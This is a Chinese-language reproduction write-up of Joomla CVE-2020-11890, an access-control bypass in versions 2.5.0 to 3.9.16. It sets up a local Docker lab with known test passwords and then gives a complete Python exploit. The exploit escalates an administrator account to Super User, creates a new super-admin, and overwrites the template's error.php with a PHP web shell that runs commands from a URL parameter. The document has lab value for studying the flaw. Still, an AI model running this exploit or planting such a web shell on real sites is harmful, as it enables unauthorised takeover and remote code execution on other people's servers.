title: CVE-2020-11890漏洞复现
author: 夜莺
categories:


CVE-2020-11890漏洞复现

漏洞简介

Joomla!是美国Open Source Matters团队的一套使用PHP和MySQL开发的开源、跨平台的内容管理系统(CMS)。 Joomla! 2.5.0版本至3.9.16版本中存在访问控制错误漏洞,该漏洞源于不正确的输入验证。攻击者可利用该漏洞绕过ACL保护

漏洞复现

环境:docker
利用docker拉取镜像

  1. docker pull hoangkien1020/joomla:3.9.16

CVE-2020-11890漏洞复现 - 图1
启动docker漏洞环境

  1. docker run -d --rm -it -p 8080:80 hoangkien1020/joomla:3.9.16

CVE-2020-11890漏洞复现 - 图2
打开本地8080端口
CVE-2020-11890漏洞复现 - 图3
观察到以上页面证明漏洞环境运行成功
该漏洞环境相关参数如下:

  1. ### MySQL: root: root (can access via IP:8080/phpmyadmin)
  2. ### superadmin:1234 (Super Users)
  3. ### admin:1234 (Administrator)
  4. ### hacker:1234 (Manager)

POC如下:

  1. #!/usr/bin/python
  2. import sys
  3. import requests
  4. import re
  5. import argparse
  6. def extract_token(resp):
  7. match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
  8. if match is None:
  9. print("[-] Cannot find CSRF token!\n")
  10. return None
  11. return match.group(1)
  12. def try_admin_login(sess, url, uname, upass):
  13. admin_url = url + '/administrator/index.php'
  14. print('[+] Getting token for admin login')
  15. resp = sess.get(admin_url, verify=True)
  16. token = extract_token(resp)
  17. if not token:
  18. return False
  19. print('[+] Logging in to admin')
  20. data = {
  21. 'username': uname,
  22. 'passwd': upass,
  23. 'task': 'login',
  24. token: '1'
  25. }
  26. resp = sess.post(admin_url, data=data, verify=True)
  27. if 'task=profile.edit' not in resp.text:
  28. print('[!] Admin Login Failure!')
  29. return None
  30. print('[+] Admin Login Successfully!')
  31. return True
  32. def checkAdmin(url, sess):
  33. print("[+] Checking admin")
  34. url_check = url + '/administrator/index.php?option=com_users&view=users'
  35. resp = sess.get(url_check, verify=True)
  36. token = extract_token(resp)
  37. if not token:
  38. print "[-] You are not administrator!"
  39. sys.exit()
  40. return token
  41. def checkSuperAdmin(url, sess):
  42. print("[+] Checking Superadmin")
  43. url_check = url + '/administrator/index.php?option=com_config'
  44. resp = sess.get(url_check, verify=True)
  45. token = extract_token(resp)
  46. if not token:
  47. print "[-] You are not Super-Users!"
  48. sys.exit()
  49. return token
  50. def changeGroup(url, sess, token):
  51. print("[+] Changing group")
  52. newdata = {
  53. 'jform[title]': 'Public',
  54. 'jform[parent_id]': 100,
  55. 'task': 'group.apply',
  56. token: 1
  57. }
  58. newdata['task'] = 'group.apply'
  59. resp = sess.post(url + "/administrator/index.php?option=com_users&layout=edit&id=1", data=newdata,
  60. verify=True)
  61. if 'jform[parent_id]' not in resp.text:
  62. print('[!] Maybe failed to change group...')
  63. return False
  64. else:
  65. print "[+] Done!"
  66. return True
  67. def create_user(url, sess, username, password, email, token):
  68. newdata = {
  69. # Form data
  70. 'jform[name]': username,
  71. 'jform[username]': username,
  72. 'jform[password]': password,
  73. 'jform[password2]': password,
  74. 'jform[email]': email,
  75. 'jform[resetCount]': 0,
  76. 'jform[sendEmail]': 0,
  77. 'jform[block]': 0,
  78. 'jform[requireReset]': 0,
  79. 'jform[id]': 0,
  80. 'jform[groups][]': 8,
  81. token: 1,
  82. }
  83. newdata['task'] = 'user.apply'
  84. url_post = url + "/administrator/index.php?option=com_users&layout=edit&id=0"
  85. sess.post(url_post, data=newdata, verify=True)
  86. sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True)
  87. sess = requests.Session()
  88. if try_admin_login(sess, url, username, password):
  89. print "[+] Now, you are super-admin!!!!!!!!!!!!!!!!" + "\n[+] Your super-admin account: \n[+] USERNAME: " + username + "\n[+] PASSWORD: " + password + "\n[+] Done!"
  90. else:
  91. print "[-] Sorry,exploit fail!"
  92. return sess
  93. def changeGroupDefault(url, sess, token):
  94. print("[+] Changing group")
  95. newdata = {
  96. 'jform[title]': 'Public',
  97. 'jform[parent_id]': 0,
  98. 'task': 'group.apply',
  99. token: 1
  100. }
  101. newdata['task'] = 'group.apply'
  102. resp = sess.post(url + "/administrator/index.php?option=com_users&layout=edit&id=1", data=newdata,
  103. verify=True)
  104. if 'jform[parent_id]' not in resp.text:
  105. print('[!] Maybe failed to change group...')
  106. return False
  107. else:
  108. print "[+] Done!"
  109. return True
  110. def rce(sess, url, cmd, token):
  111. filename = 'error.php'
  112. shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D'
  113. shdata_up = {
  114. 'jform[source]': "<?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?>",
  115. 'task': 'template.apply',
  116. token: '1',
  117. 'jform[extension_id]': '506',
  118. 'jform[filename]': '/' + filename
  119. }
  120. sess.post(shlink, data=shdata_up)
  121. path2shell = '/templates/protostar/error.php?cmd=' + cmd
  122. # print '[+] Shell is ready to use: ' + str(path2shell)
  123. print '[+] Checking:'
  124. shreq = sess.get(url + path2shell)
  125. shresp = shreq.text
  126. print shresp + '[+] Shell link: \n' + (url + path2shell)
  127. print '[+] Module finished.'
  128. def main():
  129. # Construct the argument parser
  130. ap = argparse.ArgumentParser()
  131. # Add the arguments to the parser
  132. ap.add_argument("-url", "--url", required=True,
  133. help=" URL for your Joomla target")
  134. ap.add_argument("-u", "--username", required=True,
  135. help="username")
  136. ap.add_argument("-p", "--password", required=True,
  137. help="password")
  138. ap.add_argument("-usuper", "--usernamesuper", default="hk",
  139. help="Super's username")
  140. ap.add_argument("-psuper", "--passwordsuper", default="12345678",
  141. help="Super's password")
  142. ap.add_argument("-esuper", "--emailsuper", default="hk@hk.com",
  143. help="Super's Email")
  144. ap.add_argument("-cmd", "--command", default="whoami",
  145. help="command")
  146. args = vars(ap.parse_args())
  147. # target
  148. url = format(str(args['url']))
  149. print '[+] Your target: ' + url
  150. # username
  151. uname = format(str(args['username']))
  152. # password
  153. upass = format(str(args['password']))
  154. # command
  155. command = format(str(args['command']))
  156. # username of superadmin
  157. usuper = format(str(args['usernamesuper']))
  158. # password of superadmin
  159. psuper = format(str(args['passwordsuper']))
  160. # email of superadmin
  161. esuper = format(str(args['emailsuper']))
  162. # session
  163. sess = requests.Session()
  164. if not try_admin_login(sess, url, uname, upass): sys.exit()
  165. token = checkAdmin(url, sess)
  166. if not changeGroup(url, sess, token):
  167. print "[-] Sorry,exploit fail!"
  168. sys.exit()
  169. sess = create_user(url, sess, usuper, psuper, esuper, token)
  170. token = checkSuperAdmin(url, sess)
  171. # Now you are Super-admin
  172. if token:
  173. # call RCE
  174. changeGroupDefault(url, sess, token) # easy to view :))
  175. rce(sess, url, command, token)
  176. if __name__ == "__main__":
  177. sys.exit(main())

运行POC

  1. python cve202011890.py -url http://localhost:8080 -u admin -p 1234

CVE-2020-11890漏洞复现 - 图4
观察得知已生成webshell
CVE-2020-11890漏洞复现 - 图5

参考链接

来源:MISC 链接:https://developer.joomla.org/security-centre/810-20200402-core-missing-checks-for-the-root-usergroup-in-usergroup-table.html 来源:nvd.nist.gov 链接:https://nvd.nist.gov/vuln/detail/CVE-2020-11890